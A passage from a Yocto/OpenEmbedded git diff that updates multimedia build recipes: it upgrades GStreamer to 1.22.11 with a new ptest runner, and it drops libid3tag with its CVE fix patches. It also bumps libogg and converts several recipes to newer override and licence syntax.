+with some of the environment variables used in the meson
+testing framework.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/gstreamer/gstreamer/-/merge_requests/789]
+
+Signed-off-by: Jose Quaresma <quaresma.jose@gmail.com>
+
+---
+ tests/check/meson.build | 17 +++++++++++++++++
+ tests/check/template.sh.in | 9 +++++++++
+ tests/check/template.test.in | 2 +-
+ 3 files changed, 27 insertions(+), 1 deletion(-)
+ create mode 100755 tests/check/template.sh.in
+
+diff --git a/tests/check/meson.build b/tests/check/meson.build
+index 50dff7f..2b9e979 100644
+--- a/tests/check/meson.build
++++ b/tests/check/meson.build
+@@ -184,6 +184,23 @@ foreach t : core_tests
+ install_dir: installed_tests_metadir,
+ configuration: test_conf
+ )
++
++ # All the tests will be deployed on the target machine and
++ # we use the home folder ~ for the registry which will then expand at runtime.
++ # Using the /tmp/gstreamer-1.0/@0@.registry can be problematic as it mostly
++ # is mounted using tmpfs and if the machine crash from some reason we can lost the registry
++ # that is useful for debug propose of the tests itself.
++ env += {'GST_REGISTRY': '~/.cache/gstreamer-1.0/@0@.registry'.format(test_name)}
++
++ # Set the full path for the test it self.
++ env += {'TEST': '@0@/@1@'.format(join_paths(prefix, installed_tests_execdir), test_name)}
++
++ configure_file(
++ input : 'template.sh.in',
++ output: test_name + '.sh',
++ install_dir: installed_tests_execdir,
++ configuration : env,
++ )
+ endif
+
+ test(test_name, exe, env: env, timeout : 3 * 60)
+diff --git a/tests/check/template.sh.in b/tests/check/template.sh.in
+new file mode 100755
+index 0000000..cf7d31b
+--- /dev/null
++++ b/tests/check/template.sh.in
+@@ -0,0 +1,9 @@
++#!/bin/sh
++
++set -ax
++
++CK_DEFAULT_TIMEOUT="@CK_DEFAULT_TIMEOUT@"
++GST_PLUGIN_LOADING_WHITELIST="@GST_PLUGIN_LOADING_WHITELIST@"
++GST_REGISTRY=@GST_REGISTRY@
++GST_STATE_IGNORE_ELEMENTS="@GST_STATE_IGNORE_ELEMENTS@"
++exec @TEST@
+diff --git a/tests/check/template.test.in b/tests/check/template.test.in
+index f701627..b74ef6a 100644
+--- a/tests/check/template.test.in
++++ b/tests/check/template.test.in
+@@ -1,3 +1,3 @@
+ [Test]
+ Type=session
+-Exec=@installed_tests_dir@/@program@
++Exec=@installed_tests_dir@/@program@.sh
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/capfix.patch b/meta/recipes-multimedia/gstreamer/gstreamer1.0/capfix.patch
deleted file mode 100644
index 7ca3d5ad4a..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0/capfix.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-Currently gstreamer configuration depends on whether setcap is found on the host
-system. Turn this into a configure option to make builds deterinistic.
-
-RP 2020/2/19
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-Upstream-Status: Pending
-
-Index: gstreamer-1.16.1/libs/gst/helpers/meson.build
-===================================================================
---- gstreamer-1.16.1.orig/libs/gst/helpers/meson.build
-+++ gstreamer-1.16.1/libs/gst/helpers/meson.build
-@@ -73,7 +73,12 @@ if have_ptp
- endif
- endif
-
-- setcap = find_program('setcap', '/usr/sbin/setcap', '/sbin/setcap', required : false)
-+ setcap_feature = get_option('setcap')
-+ if setcap_feature.disabled()
-+ setcap = find_program('dontexist', required : false)
-+ else
-+ setcap = find_program('setcap', '/usr/sbin/setcap', '/sbin/setcap', required : false)
-+ endif
-
- # user/group to change to in gst-ptp-helper
- ptp_helper_setuid_user = get_option('ptp-helper-setuid-user')
-Index: gstreamer-1.16.1/meson_options.txt
-===================================================================
---- gstreamer-1.16.1.orig/meson_options.txt
-+++ gstreamer-1.16.1/meson_options.txt
-@@ -26,6 +26,7 @@ option('libunwind', type : 'feature', va
- option('libdw', type : 'feature', value : 'auto', description : 'Use libdw to generate better backtraces from libunwind')
- option('dbghelp', type : 'feature', value : 'auto', description : 'Use dbghelp to generate backtraces')
- option('bash-completion', type : 'feature', value : 'auto', description : 'Install bash completion files')
-+option('setcap', type : 'feature', value : 'auto', description : 'Use setcap')
-
- # Common feature options
- option('examples', type : 'feature', value : 'auto', yield : true)
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest b/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest
new file mode 100755
index 0000000000..7d0312005f
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0/run-ptest
@@ -0,0 +1,16 @@
+#! /bin/sh
+
+# Multiply all timeouts by ten so they're more likely to work
+# on a loaded system.
+export CK_TIMEOUT_MULTIPLIER=5
+
+# Skip some tests that we know are problematic
+export GST_CHECKS_IGNORE=""
+# gstnetclientclock.c:test_functioning is very sensitive to load
+GST_CHECKS_IGNORE="$GST_CHECKS_IGNORE,test_functioning"
+
+# aggregator.c:test_infinite_seek_50_src_live is known to be flaky
+# https://gitlab.freedesktop.org/gstreamer/gstreamer/-/issues/410
+GST_CHECKS_IGNORE="$GST_CHECKS_IGNORE,test_infinite_seek_50_src_live"
+
+gnome-desktop-testing-runner gstreamer
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.16.2.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.16.2.bb
deleted file mode 100644
index 50a872e292..0000000000
--- a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.16.2.bb
+++ /dev/null
@@ -1,77 +0,0 @@
-SUMMARY = "GStreamer 1.0 multimedia framework"
-DESCRIPTION = "GStreamer is a multimedia framework for encoding and decoding video and sound. \
-It supports a wide range of formats including mp3, ogg, avi, mpeg and quicktime."
-HOMEPAGE = "http://gstreamer.freedesktop.org/"
-BUGTRACKER = "https://bugzilla.gnome.org/enter_bug.cgi?product=Gstreamer"
-SECTION = "multimedia"
-LICENSE = "LGPLv2+"
-
-DEPENDS = "glib-2.0 glib-2.0-native libcap libxml2 bison-native flex-native"
-
-inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection gtk-doc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=6762ed442b3822387a51c92d928ead0d \
- file://gst/gst.h;beginline=1;endline=21;md5=e059138481205ee2c6fc1c079c016d0d"
-
-S = "${WORKDIR}/gstreamer-${PV}"
-
-SRC_URI = " \
- https://gstreamer.freedesktop.org/src/gstreamer/gstreamer-${PV}.tar.xz \
- file://0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch \
- file://0002-meson-build-gir-even-when-cross-compiling-if-introsp.patch \
- file://0003-meson-Add-valgrind-feature.patch \
- file://0004-meson-Add-option-for-installed-tests.patch \
- file://capfix.patch \
-"
-SRC_URI[md5sum] = "0e661ed5bdf1d8996e430228d022628e"
-SRC_URI[sha256sum] = "e3f044246783fd685439647373fa13ba14f7ab0b346eadd06437092f8419e94e"
-
-PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)} \
- check \
- debug \
- tools"
-
-PACKAGECONFIG[debug] = "-Dgst_debug=true,-Dgst_debug=false"
-PACKAGECONFIG[tracer-hooks] = "-Dtracer_hooks=true,-Dtracer_hooks=false"
-PACKAGECONFIG[check] = "-Dcheck=enabled,-Dcheck=disabled"
-PACKAGECONFIG[tests] = "-Dtests=enabled -Dinstalled-tests=true,-Dtests=disabled -Dinstalled-tests=false"
-PACKAGECONFIG[valgrind] = "-Dvalgrind=enabled,-Dvalgrind=disabled,valgrind,"
-PACKAGECONFIG[unwind] = "-Dlibunwind=enabled,-Dlibunwind=disabled,libunwind"
-PACKAGECONFIG[dw] = "-Dlibdw=enabled,-Dlibdw=disabled,elfutils"
-PACKAGECONFIG[bash-completion] = "-Dbash-completion=enabled,-Dbash-completion=disabled,bash-completion"
-PACKAGECONFIG[tools] = "-Dtools=enabled,-Dtools=disabled"
-PACKAGECONFIG[setcap] = "-Dsetcap=enabled,-Dsetcap=disabled,libcap libcap-native"
-
-# TODO: put this in a gettext.bbclass patch
-def gettext_oemeson(d):
- if d.getVar('USE_NLS') == 'no':
- return '-Dnls=disabled'
- # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
- if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
- return '-Dnls=disabled'
- return '-Dnls=enabled'
-
-EXTRA_OEMESON += " \
- -Dexamples=disabled \
- -Ddbghelp=disabled \
- ${@gettext_oemeson(d)} \
-"
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-GTKDOC_MESON_ENABLE_FLAG = "enabled"
-GTKDOC_MESON_DISABLE_FLAG = "disabled"
-
-GIR_MESON_ENABLE_FLAG = "enabled"
-GIR_MESON_DISABLE_FLAG = "disabled"
-
-PACKAGES += "${PN}-bash-completion"
-
-# Add the core element plugins to the main package
-FILES_${PN} += "${libdir}/gstreamer-1.0/*.so"
-FILES_${PN}-dev += "${libdir}/gstreamer-1.0/*.a ${libdir}/gstreamer-1.0/include"
-FILES_${PN}-bash-completion += "${datadir}/bash-completion/completions/ ${datadir}/bash-completion/helpers/gst*"
-FILES_${PN}-dbg += "${datadir}/gdb ${datadir}/gstreamer-1.0/gdb"
-
-CVE_PRODUCT = "gstreamer"
-
-require gstreamer1.0-ptest.inc
diff --git a/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.11.bb b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.11.bb
new file mode 100644
index 0000000000..8965497d01
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.11.bb
@@ -0,0 +1,74 @@
+SUMMARY = "GStreamer 1.0 multimedia framework"
+DESCRIPTION = "GStreamer is a multimedia framework for encoding and decoding video and sound. \
+It supports a wide range of formats including mp3, ogg, avi, mpeg and quicktime."
+HOMEPAGE = "http://gstreamer.freedesktop.org/"
+BUGTRACKER = "https://bugzilla.gnome.org/enter_bug.cgi?product=Gstreamer"
+SECTION = "multimedia"
+LICENSE = "LGPL-2.1-or-later"
+
+DEPENDS = "glib-2.0 glib-2.0-native libxml2 bison-native flex-native"
+
+inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection ptest-gnome
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=69333daa044cb77e486cc36129f7a770 \
+ file://gst/gst.h;beginline=1;endline=21;md5=e059138481205ee2c6fc1c079c016d0d"
+
+S = "${WORKDIR}/gstreamer-${PV}"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gstreamer/gstreamer-${PV}.tar.xz \
+ file://run-ptest \
+ file://0001-tests-respect-the-idententaion-used-in-meson.patch \
+ file://0002-tests-add-support-for-install-the-tests.patch \
+ file://0003-tests-use-a-dictionaries-for-environment.patch \
+ file://0004-tests-add-helper-script-to-run-the-installed_tests.patch \
+ "
+SRC_URI[sha256sum] = "3d16259e9dab8b002c57ce208a09b350d8282f5b0197306c0cdba9a0d0799744"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)} \
+ check \
+ debug \
+ tools"
+
+PACKAGECONFIG[debug] = "-Dgst_debug=true,-Dgst_debug=false"
+PACKAGECONFIG[tracer-hooks] = "-Dtracer_hooks=true,-Dtracer_hooks=false"
+PACKAGECONFIG[coretracers] = "-Dcoretracers=enabled,-Dcoretracers=disabled"
+PACKAGECONFIG[check] = "-Dcheck=enabled,-Dcheck=disabled"
+PACKAGECONFIG[tests] = "-Dtests=enabled -Dinstalled_tests=true,-Dtests=disabled -Dinstalled_tests=false"
+PACKAGECONFIG[unwind] = "-Dlibunwind=enabled,-Dlibunwind=disabled,libunwind"
+PACKAGECONFIG[dw] = "-Dlibdw=enabled,-Dlibdw=disabled,elfutils"
+PACKAGECONFIG[bash-completion] = "-Dbash-completion=enabled,-Dbash-completion=disabled,bash-completion"
+PACKAGECONFIG[tools] = "-Dtools=enabled,-Dtools=disabled"
+PACKAGECONFIG[setcap] = "-Dptp-helper-permissions=capabilities,,libcap libcap-native"
+
+# TODO: put this in a gettext.bbclass patch
+def gettext_oemeson(d):
+ if d.getVar('USE_NLS') == 'no':
+ return '-Dnls=disabled'
+ # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return '-Dnls=disabled'
+ return '-Dnls=enabled'
+
+EXTRA_OEMESON += " \
+ -Ddoc=disabled \
+ -Dexamples=disabled \
+ -Ddbghelp=disabled \
+ ${@gettext_oemeson(d)} \
+"
+
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+PACKAGES += "${PN}-bash-completion"
+
+# Add the core element plugins to the main package
+FILES:${PN} += "${libdir}/gstreamer-1.0/*.so"
+FILES:${PN}-dev += "${libdir}/gstreamer-1.0/*.a ${libdir}/gstreamer-1.0/include"
+FILES:${PN}-bash-completion += "${datadir}/bash-completion/completions/ ${datadir}/bash-completion/helpers/gst*"
+FILES:${PN}-dbg += "${datadir}/gdb ${datadir}/gstreamer-1.0/gdb"
+
+RDEPENDS:${PN}-ptest:append:libc-glibc = " glibc-gconv-iso8859-5"
+
+CVE_PRODUCT = "gstreamer"
+
+PTEST_BUILD_HOST_FILES = ""
diff --git a/meta/recipes-multimedia/lame/lame_3.100.bb b/meta/recipes-multimedia/lame/lame_3.100.bb
index 7f8996fb52..5b42795f4e 100644
--- a/meta/recipes-multimedia/lame/lame_3.100.bb
+++ b/meta/recipes-multimedia/lame/lame_3.100.bb
@@ -1,8 +1,9 @@
SUMMARY = "High quality MP3 audio encoder"
-HOMEPAGE = "http://lame.sourceforge.net/"
+DESCRIPTION = "LAME is an educational tool to be used for learning about MP3 encoding."
+HOMEPAGE = "https://lame.sourceforge.io/"
BUGTRACKER = "http://sourceforge.net/tracker/?group_id=290&atid=100290"
SECTION = "console/utils"
-LICENSE = "LGPLv2+"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=c46bda00ffbb0ba1dac22f8d087f54d9 \
file://include/lame.h;beginline=1;endline=20;md5=a2258182c593c398d15a48262130a92b \
"
@@ -19,7 +20,7 @@ SRC_URI[sha256sum] = "ddfe36cab873794038ae2c1210557ad34857a4b6bdc515785d1da9e175
inherit autotools pkgconfig
PACKAGES += "libmp3lame libmp3lame-dev"
-FILES_${PN} = "${bindir}/lame"
-FILES_libmp3lame = "${libdir}/libmp3lame.so.*"
-FILES_libmp3lame-dev = "${includedir} ${libdir}/*"
-FILES_${PN}-dev = ""
+FILES:${PN} = "${bindir}/lame"
+FILES:libmp3lame = "${libdir}/libmp3lame.so.*"
+FILES:libmp3lame-dev = "${includedir} ${libdir}/*"
+FILES:${PN}-dev = ""
diff --git a/meta/recipes-multimedia/liba52/liba52_0.7.4.bb b/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
index 8ff8889b60..7a3b4a43c8 100644
--- a/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
+++ b/meta/recipes-multimedia/liba52/liba52_0.7.4.bb
@@ -1,10 +1,12 @@
SUMMARY = "ATSC A/52 surround sound stream decoder"
+DESCRIPTION = "Library for decoding ATSC A/52 streams. The A/52 standard \
+is used in a variety of applications, including digital television \
+and DVD. It is also known as AC-3."
HOMEPAGE = "http://liba52.sourceforge.net/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3 \
file://include/a52.h;beginline=1;endline=12;md5=81152ceb3562bf20a60d1b6018175dd1"
SECTION = "libs"
-PR = "r4"
inherit autotools
@@ -22,5 +24,5 @@ EXTRA_OECONF = " --enable-shared "
PACKAGES =+ "a52dec a52dec-doc"
-FILES_a52dec = " ${bindir}/* "
-FILES_a52dec-doc = " ${mandir}/man1/* "
+FILES:a52dec = " ${bindir}/* "
+FILES:a52dec-doc = " ${mandir}/man1/* "
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch b/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch
deleted file mode 100644
index 54f49f6f23..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/0001-Fix-gperf-3.1-incompatibility.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 91fcf66b9182c75cd2b96d88991d5a1c6307d4b4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 2 Aug 2017 16:27:52 +0300
-Subject: [PATCH] Fix gperf 3.1 incompatibility.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- compat.h | 2 +-
- frametype.h | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/compat.h b/compat.h
-index 8af71ec..b3d80d9 100644
---- a/compat.h
-+++ b/compat.h
-@@ -34,7 +34,7 @@ struct id3_compat {
- };
-
- struct id3_compat const *id3_compat_lookup(register char const *,
-- register unsigned int);
-+ register size_t);
-
- int id3_compat_fixup(struct id3_tag *);
-
-diff --git a/frametype.h b/frametype.h
-index dd064b2..b5b7593 100644
---- a/frametype.h
-+++ b/frametype.h
-@@ -37,6 +37,6 @@ extern struct id3_frametype const id3_frametype_unknown;
- extern struct id3_frametype const id3_frametype_obsolete;
-
- struct id3_frametype const *id3_frametype_lookup(register char const *,
-- register unsigned int);
-+ register size_t);
-
- # endif
---
-2.13.2
-
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch b/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch
deleted file mode 100644
index 10e089018c..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/10_utf16.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-libid3tag: patch for CVE-2004-2779
-
-The patch comes from
-https://sources.debian.org/patches/libid3tag/0.15.1b-13/10_utf16.dpatch
-
-Upstream-Status: Pending
-
-CVE: CVE-2004-2779
-CVE: CVE-2017-11551
-
-Signed-off-by: Changqing Li <changqing.li@windriver.com>
-
-diff -urNad libid3tag-0.15.1b/utf16.c /tmp/dpep.tKvO7a/libid3tag-0.15.1b/utf16.c
---- libid3tag-0.15.1b/utf16.c 2006-01-13 15:26:29.000000000 +0100
-+++ /tmp/dpep.tKvO7a/libid3tag-0.15.1b/utf16.c 2006-01-13 15:27:19.000000000 +0100
-@@ -282,5 +282,18 @@
-
- free(utf16);
-
-+ if (end == *ptr && length % 2 != 0)
-+ {
-+ /* We were called with a bogus length. It should always
-+ * be an even number. We can deal with this in a few ways:
-+ * - Always give an error.
-+ * - Try and parse as much as we can and
-+ * - return an error if we're called again when we
-+ * already tried to parse everything we can.
-+ * - tell that we parsed it, which is what we do here.
-+ */
-+ (*ptr)++;
-+ }
-+
- return ucs4;
- }
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch b/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch
deleted file mode 100644
index 38d40c3632..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/addpkgconfig.patch
+++ /dev/null
@@ -1,43 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-Index: libid3tag-0.15.1b/Makefile.am
-===================================================================
---- libid3tag-0.15.1b.orig/Makefile.am 2009-07-29 09:29:20.000000000 +0100
-+++ libid3tag-0.15.1b/Makefile.am 2009-07-29 09:29:47.000000000 +0100
-@@ -27,6 +27,9 @@
- lib_LTLIBRARIES = libid3tag.la
- include_HEADERS = id3tag.h
-
-+pkgconfigdir = $(libdir)/pkgconfig
-+pkgconfig_DATA = id3tag.pc
-+
- ## From the libtool documentation on library versioning:
- ##
- ## CURRENT
-Index: libid3tag-0.15.1b/configure.ac
-===================================================================
---- libid3tag-0.15.1b.orig/configure.ac 2009-07-29 09:27:15.000000000 +0100
-+++ libid3tag-0.15.1b/configure.ac 2009-07-29 09:27:45.000000000 +0100
-@@ -201,5 +201,5 @@
- dnl AC_SUBST(LTLIBOBJS)
-
- AC_CONFIG_FILES([Makefile msvc++/Makefile \
-- libid3tag.list])
-+ libid3tag.list id3tag.pc])
- AC_OUTPUT
-Index: libid3tag-0.15.1b/id3tag.pc.in
-===================================================================
---- /dev/null 1970-01-01 00:00:00.000000000 +0000
-+++ libid3tag-0.15.1b/id3tag.pc.in 2009-07-29 09:29:10.000000000 +0100
-@@ -0,0 +1,11 @@
-+prefix=@prefix@
-+exec_prefix=@exec_prefix@
-+libdir=@libdir@
-+includedir=@includedir@
-+
-+Name: id3tag
-+Description: ID3 tag reading library
-+Requires:
-+Version: @VERSION@
-+Libs: -L${libdir} -lid3tag -lz
-+Cflags: -I${includedir}
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch b/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch
deleted file mode 100644
index 2845fb1d3a..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/obsolete_automake_macros.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Submitted [https://sourceforge.net/tracker/?func=detail&aid=3599280&group_id=12349&atid=112349]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurd libid3tag-0.15.1b/configure.ac libid3tag-0.15.1b/configure.ac
---- libid3tag-0.15.1b/configure.ac 2004-01-24 01:22:46.000000000 +0200
-+++ libid3tag-0.15.1b/configure.ac 2013-01-03 06:41:02.734835014 +0200
-@@ -28,7 +28,7 @@
-
--AM_INIT_AUTOMAKE
-+AM_INIT_AUTOMAKE([foreign])
-
--AM_CONFIG_HEADER([config.h])
-+AC_CONFIG_HEADERS([config.h])
-
- dnl System type.
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch b/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch
deleted file mode 100644
index f0867b5f01..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag/unknown-encoding.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-In case of an unknown/invalid encoding, id3_parse_string() will
-return NULL, but the return value wasn't checked resulting
-in segfault in id3_ucs4_length(). This is the only place
-the return value wasn't checked.
-
-Patch taken from Debian:
-https://sources.debian.org/patches/libid3tag/0.15.1b-14/11_unknown_encoding.dpatch/
-
-CVE: CVE-2017-11550
-Upstream-Status: Pending
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff -urNad libid3tag-0.15.1b~/compat.gperf libid3tag-0.15.1b/compat.gperf
---- libid3tag-0.15.1b~/compat.gperf 2004-01-23 09:41:32.000000000 +0000
-+++ libid3tag-0.15.1b/compat.gperf 2007-01-14 14:36:53.000000000 +0000
-@@ -236,6 +236,10 @@
-
- encoding = id3_parse_uint(&data, 1);
- string = id3_parse_string(&data, end - data, encoding, 0);
-+ if (!string)
-+ {
-+ continue;
-+ }
-
- if (id3_ucs4_length(string) < 4) {
- free(string);
-diff -urNad libid3tag-0.15.1b~/parse.c libid3tag-0.15.1b/parse.c
---- libid3tag-0.15.1b~/parse.c 2004-01-23 09:41:32.000000000 +0000
-+++ libid3tag-0.15.1b/parse.c 2007-01-14 14:37:34.000000000 +0000
-@@ -165,6 +165,9 @@
- case ID3_FIELD_TEXTENCODING_UTF_8:
- ucs4 = id3_utf8_deserialize(ptr, length);
- break;
-+ default:
-+ /* FIXME: Unknown encoding! Print warning? */
-+ return NULL;
- }
-
- if (ucs4 && !full) {
diff --git a/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb b/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb
deleted file mode 100644
index 0312a610c0..0000000000
--- a/meta/recipes-multimedia/libid3tag/libid3tag_0.15.1b.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "Library for interacting with ID3 tags in MP3 files"
-HOMEPAGE = "http://sourceforge.net/projects/mad/"
-BUGTRACKER = "http://sourceforge.net/tracker/?group_id=12349&atid=112349"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://COPYRIGHT;md5=5e6279efb87c26c6e5e7a68317a6a87a \
- file://version.h;beginline=1;endline=8;md5=86ac68b67f054b7afde9e149bbc3fe63"
-SECTION = "libs"
-DEPENDS = "zlib gperf-native"
-PR = "r7"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/mad/libid3tag-${PV}.tar.gz \
- file://addpkgconfig.patch \
- file://obsolete_automake_macros.patch \
- file://0001-Fix-gperf-3.1-incompatibility.patch \
- file://10_utf16.patch \
- file://unknown-encoding.patch \
- "
-UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/mad/files/libid3tag/"
-UPSTREAM_CHECK_REGEX = "/projects/mad/files/libid3tag/(?P<pver>.*)/$"
-
-SRC_URI[md5sum] = "e5808ad997ba32c498803822078748c3"
-SRC_URI[sha256sum] = "63da4f6e7997278f8a3fef4c6a372d342f705051d1eeb6a46a86b03610e26151"
-
-S = "${WORKDIR}/libid3tag-${PV}"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libogg/libogg_1.3.4.bb b/meta/recipes-multimedia/libogg/libogg_1.3.4.bb
deleted file mode 100644
index c4004619b9..0000000000
--- a/meta/recipes-multimedia/libogg/libogg_1.3.4.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Ogg bitstream and framing libary"
-DESCRIPTION = "libogg is the bitstream and framing library \
-for the Ogg project. It provides functions which are \
-necessary to codec libraries like libvorbis."
-HOMEPAGE = "http://xiph.org/"
-BUGTRACKER = "https://trac.xiph.org/newticket"
-SECTION = "libs"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=db1b7a668b2a6f47b2af88fb008ad555 \
- file://include/ogg/ogg.h;beginline=1;endline=11;md5=eda812856f13a3b1326eb8f020cc3b0b"
-
-SRC_URI = "http://downloads.xiph.org/releases/ogg/${BP}.tar.xz"
-
-SRC_URI[md5sum] = "eadef24aad6e3e8379ba0d14971fd64a"
-SRC_URI[sha256sum] = "c163bc12bc300c401b6aa35907ac682671ea376f13ae0969a220f7ddf71893fe"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libogg/libogg_1.3.5.bb b/meta/recipes-multimedia/libogg/libogg_1.3.5.bb
new file mode 100644
index 0000000000..b4f02e404c
--- /dev/null
+++ b/meta/recipes-multimedia/libogg/libogg_1.3.5.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Ogg bitstream and framing libary"
+DESCRIPTION = "libogg is the bitstream and framing library \
+for the Ogg project. It provides functions which are \
+necessary to codec libraries like libvorbis."
+HOMEPAGE = "http://xiph.org/"
+BUGTRACKER = "https://trac.xiph.org/newticket"
+SECTION = "libs"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=db1b7a668b2a6f47b2af88fb008ad555 \
+ file://include/ogg/ogg.h;beginline=1;endline=11;md5=eda812856f13a3b1326eb8f020cc3b0b"
+
+SRC_URI = "http://downloads.xiph.org/releases/ogg/${BP}.tar.xz"
+
+SRC_URI[md5sum] = "3178c98341559657a15b185bf5d700a5"
+SRC_URI[sha256sum] = "c4d91be36fc8e54deae7575241e03f4211eb102afb3fc0775fbbc1b740016705"
+
+inherit autotools pkgconfig
diff --git a/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb b/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
index 2061c280e4..4564d619ae 100644
--- a/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
+++ b/meta/recipes-multimedia/libomxil/libomxil_0.9.3.bb
@@ -3,8 +3,8 @@ DESCRIPTION = "Bellagio is an opensource implementation of the Khronos OpenMAX \
Integration Layer API to access multimedia components."
HOMEPAGE = "http://omxil.sourceforge.net/"
-LICENSE = "LGPLv2.1+"
-LICENSE_FLAGS = "commercial"
+LICENSE = "LGPL-2.1-or-later"
+LICENSE_FLAGS = "${@bb.utils.contains('PACKAGECONFIG', 'amr', 'commercial', '', d)}"
LIC_FILES_CHKSUM = "file://COPYING;md5=ae6f0f4dbc7ac193b50f323a6ae191cb \
file://src/omxcore.h;beginline=1;endline=27;md5=806b1e5566c06486fe8e42b461e03a90"
@@ -28,14 +28,18 @@ PROVIDES += "virtual/libomxil"
CFLAGS += "-fcommon"
+PACKAGECONFIG ??= ""
+
+PACKAGECONFIG[amr] = "--enable-amr,,"
+
#
# The .so files under ${libdir}/bellagio are not intended to be versioned and symlinked.
# Make sure they get packaged in the main package.
#
-FILES_${PN} += "${libdir}/bellagio/*.so \
+FILES:${PN} += "${libdir}/bellagio/*.so \
${libdir}/omxloaders/*${SOLIBS}"
-FILES_${PN}-staticdev += "${libdir}/bellagio/*.a \
+FILES:${PN}-staticdev += "${libdir}/bellagio/*.a \
${libdir}/omxloaders/*.a"
-FILES_${PN}-dev += "${libdir}/bellagio/*.la \
+FILES:${PN}-dev += "${libdir}/bellagio/*.la \
${libdir}/omxloaders/*.la \
${libdir}/omxloaders/*${SOLIBSDEV}"
diff --git a/meta/recipes-multimedia/libpng/libpng_1.6.37.bb b/meta/recipes-multimedia/libpng/libpng_1.6.37.bb
deleted file mode 100644
index 8c53d11642..0000000000
--- a/meta/recipes-multimedia/libpng/libpng_1.6.37.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "PNG image format decoding library"
-HOMEPAGE = "http://www.libpng.org/"
-SECTION = "libs"
-LICENSE = "Libpng"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=b0085051bf265bac2bfc38bc89f50000"
-DEPENDS = "zlib"
-
-LIBV = "16"
-
